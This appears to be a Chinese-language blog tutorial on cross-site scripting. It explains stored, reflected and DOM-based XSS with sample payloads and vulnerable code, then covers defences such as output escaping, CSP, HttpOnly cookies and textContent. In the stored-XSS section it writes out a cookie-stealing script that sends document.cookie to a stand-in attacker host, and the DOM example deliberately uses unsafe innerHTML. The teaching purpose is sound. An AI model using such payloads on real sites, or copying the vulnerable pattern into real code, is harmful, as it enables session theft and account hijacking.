跨站脚本攻击（Cross-Site Scripting，简称XSS）是一种网络安全漏洞，攻击者通过在网页中注入恶意脚本，诱使用户执行这些脚本，从而达到窃取用户信息、劫持用户会话、重定向用户请求等目的。
XSS攻击有三种主要类型：
1. 储存型（Persistent XSS）：恶意脚本会被永久存储在目标服务器上，如用户评论区中的恶意代码。
2. 反射型（Reflected XSS）：恶意脚本存在于目标链接中，用户点击链接后恶意脚本马上执行。
3. DOM型（DOM-based XSS）：恶意脚本修改网页的DOM结构（Document Object Model），通过用户的输入或者用户点击操作触发脚本执行。
### 实际例子：
假设有一个社交媒体网站允许用户发布状态更新，并且这些状态会显示在所有好友的页面上。如果网站没有对用户输入做充分的过滤和转义处理，攻击者可能会发布含有恶意JavaScript代码的状态更新。
#### 例子：储存型XSS
1. 攻击者在状态更新中输入以下内容：
```html
<script>alert('你的账户已被攻击！');</script>
```
2. 由于服务器未对输入进行过滤，这段代码会被存储在数据库中。
3. 其他用户在查看攻击者的状态更新时，这段恶意脚本会在他们的浏览器中执行，显示一个警告框。
更危险的情况是，攻击者可以窃取用户的Cookie信息，从而获取他们的登录会话。如下：
```html
<script>
document.write("<img src='http://attacker.com/stealcookie?cookie=" + document.cookie + "' />");
</script>
```
在这种情况下，当其他用户查看该状态更新时，用户的Cookie会被发送到攻击者控制的服务器，从而导致用户会话被劫持。
### 防御措施：
1. **输入验证与过滤**：在服务端对所有用户输入进行严格的验证和过滤，移除或转义潜在的恶意代码。
2. **输出转义**：在输出到浏览器之前对数据进行HTML转义，确保所有特殊字符（如`<`, `>`, `&`, `'`, `"`）被正确转义。
3. **内容安全策略（CSP）**：配置内容安全策略，限制浏览器执行来自未经授权源的脚本。
4. **使用HTTPOnly和Secure属性的Cookie**：使用`HTTPOnly`属性的Cookie，使得Cookie无法通过JavaScript来访问；使用`Secure`属性的Cookie，使得Cookie只能通过HTTPS传输。
通过这些措施，可以有效地防御XSS攻击，保护用户的安全。
### 反射型XSS (Reflected XSS)：
反射型XSS通常在用户请求时执行，恶意脚本被注入到URL中，当用户点击恶意URL时，脚本被反射回来并在用户的浏览器中执行。
**例子：**
假设一个电商网站有一个搜索功能，用户可以通过在URL中传入查询字符串来进行搜索，比如：
```
http://example.com/search?q=手机
```
网站为了在搜索结果页面显示用户的查询词，可能会直接在HTML页面中输出未经过滤的用户输入：
```html
<html>
<head><title>搜索结果</title></head>
<body>
<h1>搜索结果 for "<script>alert("XSS")</script>"</h1>
</body>
</html>
```
攻击者可以构造一个恶意URL：
```
http://example.com/search?q=<script>alert('XSS')</script>
```
当用户点击这个恶意链接时，浏览器会执行URL中的恶意脚本，弹出一个警告框。
### DOM型XSS (DOM-based XSS)：
DOM型XSS并不像反射型或储存型XSS那样依赖服务器侧输入输出，而是在客户端执行时通过修改网页的DOM结构使得恶意脚本得以执行。通常，这种攻击发生在客户端的JavaScript代码中，对用户输入或URL参数处理不当。
**例子：**
假设一个网页有这样的JavaScript代码：
```html
<html>
<head>
<title>DOM-based XSS 演示</title>
</head>
<body>
<h1 id="welcome"></h1>
<script>
// 我们简单地将URL参数username的值插入到页面中
var url = new URL(window.location.href);
var username = url.searchParams.get("username");
document.getElementById("welcome").innerHTML = "欢迎，" + username;
</script>
</body>
</html>
```
攻击者可以构造一个恶意URL：
```
http://example.com/index.html?username=<script>alert('XSS')</script>
```
当用户访问此URL时，恶意脚本会被注入并执行，导致弹出一个警告框。
### 防御措施：
#### 反射型XSS：
1. **输入验证与过滤**：在服务端对所有用户输入进行严格的验证和过滤，移除或转义潜在的恶意代码。
2. **输出转义**：在输出到浏览器之前对数据进行HTML转义，确保所有特殊字符（如`<`, `>`, `&`, `'`, `"`）被正确转义。
#### DOM型XSS：
1. **安全的DOM操作**：使用安全的方法来操作DOM，比如使用`textContent`或安全地转义HTML。
```javascript
document.getElementById("welcome").textContent = "欢迎，" + username;
```
2. **内容安全策略（CSP）**：配置内容安全策略，限制浏览器执行来自未经授权源的脚本。
3. **避免使用不可信输入构造HTML**：尽量避免将用户输入直接插入到HTML中，可以使用模板引擎等安全工具来处理用户输入。
通过这些防御措施，可以减少XSS漏洞的风险，提升系统的安全性。
标签：脚本,xss,防范措施,DOM,URL,用户,恶意,举例,XSS From： https://blog.csdn.net/weixin_37841024/article/details/141796226